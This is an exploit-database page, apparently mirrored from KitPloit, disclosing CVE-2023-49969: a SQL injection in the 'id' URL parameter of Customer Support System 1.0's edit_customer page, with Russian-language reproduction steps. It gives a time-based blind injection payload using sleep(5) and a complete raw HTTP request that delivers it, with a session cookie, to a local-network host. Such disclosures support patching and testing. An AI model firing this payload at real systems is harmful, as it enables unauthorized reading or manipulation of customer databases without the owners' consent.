Sploitus

Exploit for CVE-2023-49969

kitploit Β· 2026-08-31

Exploit Code

MARKDOWN36 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GERALDOALCANTARA-CVE-2023-49969
# CVE-2023-49969

# Customer Support System 1.0 – Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ Π² edit_customer Ρ‡Π΅Ρ€Π΅Π· ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ URL "id"

**ОписаниС** : Π’ вСрсии 1 систСмы ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ² (Customer Support System) сущСствуСт ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ SQL-ΠΈΠ½ΡŠΠ΅ΠΊΡ†ΠΈΠΈ. Π—Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ SQL-ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… MySQL, манипулируя ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ URL 'id' ΠΏΡ€ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°.

**Уязвимая вСрсия ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°** : Customer Support System 1.0  
**Автор CVE** : Geraldo AlcΓ’ntara  
**Π”Π°Ρ‚Π°** : 28/11/2023  
**ΠŸΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π΅Π½ΠΎ** : 19/12/2023  
**CVE** : CVE-2023-49969  
**ΠŸΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΎ Π½Π°** : Windows

### Π¨Π°Π³ΠΈ для воспроизвСдСния:

1- Π’ΠΎΠΉΠ΄ΠΈΡ‚Π΅ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.  
2- ΠŸΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° страницу customer_list, Π½Π°ΠΆΠΌΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ "Action" ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ "Edit".  
3- Π‘ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ 'id', Ρ‡Ρ‚ΠΎ позволяСт Π²ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π²Ρ€Π΅Π΄ΠΎΠ½ΠΎΡΠ½ΡƒΡŽ Π½Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ.  
**payload** : (select*from(select(sleep(5)))a)

### Запрос

root@kitploit:~
    
    
    GET /customer_support/index.php?page=edit_customer&id=(select*from(select(sleep(5)))a HTTP/1.1
    Host: 192.168.68.182
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate, br
    Connection: close
    Referer: http://192.168.68.182/customer_support/index.php?page=customer_list
    Cookie: PHPSESSID=arlocktakq815fq1lpm5fjml9n
    Upgrade-Insecure-Requests: 1